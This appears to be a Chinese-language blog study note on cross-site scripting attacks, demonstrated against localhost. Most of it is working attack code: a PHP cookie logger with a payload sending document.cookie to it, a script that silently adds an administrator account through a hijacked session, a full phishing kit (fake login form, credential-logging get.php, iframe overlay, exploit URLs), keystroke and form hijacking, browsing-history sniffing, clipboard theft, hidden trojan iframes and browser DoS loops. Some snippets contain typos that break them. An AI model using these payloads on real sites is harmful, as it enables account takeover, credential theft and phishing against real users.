一、跨站获取cookie
1,hacker端(hacker.php)的程序如下:
<?php
$cookie=$_GET[‘cookie‘];
$file=fopen("cookie.txt","a");
fwrite($file,$cookie);
fclose($file)
?>
2,受害者端(victim.php)的程序如下:
<html>
<head>
<title>xss跨站原理复现</title>
</head>
<body>
<form action="" method="get">
<input type="text" name="xss_input">
<input type="submit" value="提交">
</form>
<?php
[email protected]$_GET[‘xss_input‘];
echo ‘你输入的字符为<br>‘.$xss;
?>
</body>
</html>
3,hacker发给victim的payload语句如下:
http://localhost/victim.php?xss_input=<script>document.location="http://localhost/hacker.php?cookie="+document.cookie</script>
ps:第一次用的事件不是document.location,选择的是window.open事件,But,没有成功。更换浏览器也不照。
4,当victim点击hacker发送的链接后,Victim主机的cookie就被写入到hacker的cookie.txt文档中了,cookie信息也就因此丢失了,那么hacker久可以利用这个cookie信息针对victim做bulabula....
二、会话劫持
xss会话劫持就是攻击者利用xss劫持了用户的会话去执行某些恶意操作。
1,XSS实现权限提升
前提一:抓取到被攻击者添加管理员账号信息时的请求信息,包括请求的URL地址和POST的数据。
前提二:拥有被攻击主机中的cookie信息
xss shellcode如下:
var request=false;
if(window.XMLHttpRequest) {
request=new XMLHttpRequest();
if(request.overrideMimeType) {
request.oveerideMimeType(‘text/xml‘);
}
}
else if(window.ActiveXObject){
var versions=[‘Microsoft.XMLHTTP‘,‘MSXML.XMLHTTP‘,‘Microsoft.XMLHTTP‘,‘Msxml2.XMLHTTP.7.0‘,‘Msxml2.XMLHTTP.6.0‘,
‘Msxml2.XMLHTTP.5.0‘,‘Msxml2.XMLHTTP.4.0‘,‘MSXML2.XMLHTTP.3.0‘,‘MSXML2.XMLHTTP‘];
for(var i=0;i<version.length;i++){
try{
request=new ActiveXObject(versions);
} catch(e) {}
}}
xmlhttp=request;
add_admin();
function add_admin(){
var url="/admin/AdminUser/adminUser_Add.asp"; //请求地址
var params="UserName=xss123&password1=123456&password2=123456Purview=%B9%DC%C0%ED%D4%B1&Submit=%CC%E1%BD%BB"; //提交的数据。这里的user和password均是要添加的信息
xmlhttp.open("POST",url,true);
xmlhttp.setRequestHeader("Content-type","application/x-www-form-urlencoded");
xmlhttp.setRequestHeader("Content-length",params.length);
xmlhttp.setRequestHeader("Connection","close";)
xmlhttp.send(params);
}
三、XSS钓鱼
思路:
针对正常的页面(normal.php)进行伪造钓鱼页面(evil.php)--->创建收集受害者信息的脚步文件(get.php)--->寻找存在漏洞的网站(bug.php)--->根据漏洞情况制作框架文件(xss.js)链接(exploit),发送给受害者--->等待受害者点击,获取信息
具体步骤&代码如下:
1,正常的页面如下:
<form method="post" action="http://www.baidu.com/">//简单点,点击登录直接扔给百度
<input type="text" name="username" value="Tason" /><br />
<input type="password" name="password" value="[email protected]" /><br />
<input type="submit" name="logon" value="Submit" />
</form>
2,钓鱼页面,可以直接从真实网站复制过来。
伪造的页面如下:
<form method="post" action="http://localhost/phishing/get.php"> //get.php为hacker端接收s受害者信息的页面
<input type="text" name="username" value="Tason" /><br/>
<input type="password" name="password" value="[email protected]" /><br />
<input type="submit" name="logon" value="Submit"/>
</form>
3,记录信息的脚本文件 get.php 内容如下:
<?php
$data=fopen("logfile.txt","a+");//注:logfile文件必须事先创建好
$login=$_POST[‘username‘];
$pass=$_POST[‘password‘];
fwrite($data,"Username:$login\n");
fwrite($data,"Password:$pass\n");
fclose($data);
Header("location:http://www.baidu.com"); //信息收集完毕跳转到正常页面
?>
4,存在漏洞的网站bug.php代码内容如下:
<?php
[email protected]$_GET[‘s‘];
echo "<br>";
echo $s1;
?>
5,xss.js文件的作用是创建一个iframe框架覆盖目标页面,再加载远程域伪造的钓鱼页面,内容如下:
document.body.innerHTML=(
‘<div style="position:absolute; top:0px; left:0px; width:100%; height:100%;">‘+
‘<iframe src=http://localhost/phishing/evil.php width=100% height=100%>‘+
‘</iframe></div>‘
);
6,xss钓鱼exploit如下:
http://localhost/phishing/bug.php?s=<script src=http://localhost/phishing/xss.js></script>//bug.php为存在漏洞的网站
7,等待收网
xss钓鱼的方式:
1,xss重定向钓鱼
即把当前页面重定向到钓鱼网站上:
http://localhost/phishing/bug.php?s=<script src=http://localhost/phishing/xss.js></script>
2,html注入式钓鱼
即把钓鱼网站的页面直接加载到链接中:
http://localhost/phishing/bug.php?s=
<html><head><title>login</title></head>
<body><form method="post" action="http://localhost/phishing/get.php">
<input type="text" name="username" value="Tason" /><br/>
<input type="password" name="password" value="[email protected]" /><br />
<input type="submit" name="logon" value="Submit"/>
</form></body></html>
3,XSS跨框架钓鱼
即通过<iframe>标签嵌入远程域的页面实施钓鱼
http://localhost/phishing/bug.php?s=<iframe src=http://localhost/phishing/xss.js></iframe>
4,flash钓鱼
攻击者把精心构造的flash文件上传到远程服务器,然后在目标网站上使用<object><embed>标签去引用flash即可
Tips:
1,劫持链接的onclick事件
for (i=0;i<document.links.length;i++){
document.links.onclick=hijack;
}
2,监听键盘的onkeydown事件
document.onkeydown=function(e){
if(!e) e=window.event;
try{hijack();} catch(ex){}
}
3,劫持表单的输入框
document.onkeyup=function(){
document.forms[‘PassFormlogin‘].onsubmit=function(){
pwd=this.PassInputUsername0.value + ‘|‘ + this.PassInputPassword0.value;
log(escape(pwd));
}}
四,xss history hack
利用css能定义和控制链接样式的特性,能够获取用户浏览器的某些历史记录,甚至是在搜索引擎输入的查询字符
1,链接样式和getComputedStyle()
css中4个伪类用来定义链接的样式,分别是:
a:link未访问的
a:visited 已访问的
a:active激活的,被选择的链接
a:hover光标悬停在其上的链接
新建HTML样例:
<style type="text/css">
a:link{color:blue}
a:visited{color:red}
a:hover{color:yellow}
</style>
<a href="http://www.google.com" id="x">google</a></br>
<a href="http://www.baidu.com" id="x">baidu</a></br>
<a href="http://weibo.com" id="x">weibo</a></br>
<a href="http://qq.com" id="x">qq</a></br>
<a href="http://www.163.com" id="x">163</a>
利用getComputedStyle()来实现侦查某一个人是否访问过一个任意的url。
2,JavaScript/CSS history hack
<html>
<body>
<H3>Visited</H3>
<ul id="visited"></ul>
<H3>Not Visited</H3>
<ul id="notvisited"></ul>
<script>
var websites=[
"http://www.baidu.com/",
"http://www.zhibo8.cc/",
"http://51cto.com/",
"http://www.sina.com/",
"http://weibo.com/",
"http://www.playsec.com/",
];
for(var i=0;i<websites.length;i++){
var link=document.createElement("a");
link.id="id"+i;
link.href=websites;
link.innerHTML=websites;
document.write(‘<style>‘);
document.write(‘#id‘ +i + ":visited {color: #FF0000;}");
document.write(‘</style>‘);
document.body.appendChild(link);
var color=document.defaultView.getComputedStyle(link,null).getPropertyValue("color");
document.body.removeChild(link);
if (color == "rgb(255,0,0)"){
var item=document.createElement(‘li‘);
item.appendChild(link);
document.getElementById(‘visited‘).appendChild(item);
} else{
var item =document.createElement(‘li‘);
item.appendChild(link);
document.getElementById(‘notvisited‘).appendChild(item);
}
}
</script>
</body>
</html>
3,窃取搜索查询
目的是为了收集用户感兴趣的话题,利用这些信息实施网络钓鱼、社会工程学攻击
五,客户端信息探测
1,JavaScript实现端口扫描
ps:个人觉得可以用其他更好的扫描工具,比如nmap
2,截获剪切板内容
通过嵌入网页的JavaScript代码劫持客户端的剪切板,从而获取重要信息
JavaScript中主要使用window.clipboardData对象处理剪切板的内容,有以下三种方法:
clearData(sDataFormat) //删除剪贴板中指定格式的数据
getData(sDataFormat) //从剪贴板获取指定格式的数据
setData(sDataFormat,sData) //给剪贴板赋予指定格式的数据
poc如下:
<form id="test" action="test.php" method="post">
<div id="someData">
<textarea rows="4" cols="40" name="test">
</textarea>
</div>
<input type="button" value="复制到剪贴板">
<input type="button" value="查看剪贴板内容" onclick="readClipboard()">
<input type="button" value="清除">
</form>
<script>
function readClipboard(){
alert(window.clipboardData.getData(‘Text‘));
}
function setClipboard(){
var t=document.getElementById("someData").innerText;
window.clipboardData.setData(‘text‘,t);
}
</script>
ps:IE浏览器测试成功
3,获取客户端IP地址
<html>
<head>
<meta http-equiv="Content-Type" content="text/html;charset=gb2312">
<title>JavaScript获取客户端IP</title>
</head>
<body>
function GetLocalIPAddress()
{
var obj = null;
var rslt = "";
try{
obj = new ActiveXObject("rcbdyctl.Setting");
rslt =obj.GetIPAddress;
obj = null;
}
catch(e){}
return rslt;
}
document.write("你的IP是: "+ GetLocalIPAdress());
</script>
</body>
</html>
六,网页挂马
实现方式一般都是通过篡改网页来实现,例如在xss攻击中使用<iframe>标签,代码如下:
<iframe src=http://localhost/trojan.html width=0 height=0></iframe>
还可以利用JavaScript脚本动态创建窗口并调用网页木马
<script>
document.write("<iframe src=http://localhost/trojan.html width=0 height=0></iframe>")
</script>
七,DOS和DDOS
通过注入而已的JavaScript脚本代码,引起dos攻击,目标是受害人的浏览器,代码如下
<script>for (;;) alert("xss");</script>
保存为html文件发给客户或者通过漏洞调用
http://localhost/victiom.php?s=<script>for(;;)alert("xss");</script>
ps: <meta http-equiv="refresh" content="0"> 会强迫受害者不断的刷新当前页面
八,xss virus/worm
xss virus/worm类似于个人计算机平台上的病毒程序,有潜伏、后门的特性,可以用于盗号、窃取用户隐私信息,主要在客户端执行恶意攻击,类似蠕虫般具有自我复制能力的攻击形态。
例如:samy xss worm攻击事件。当时samy在自己的空间的个人简介处植入一段JavaScript代码,每个查看他简介的人会在不知觉间执行这段代码,加samy为好友,然后蠕虫打开受害者的个人简介,写入恶意JavaScript代码,进而任何查看该受害者个人简介的人也会被感染。
最后:有些情况没有测试案例,后续在学习的过程中会继续补充。
Tips:学习&分享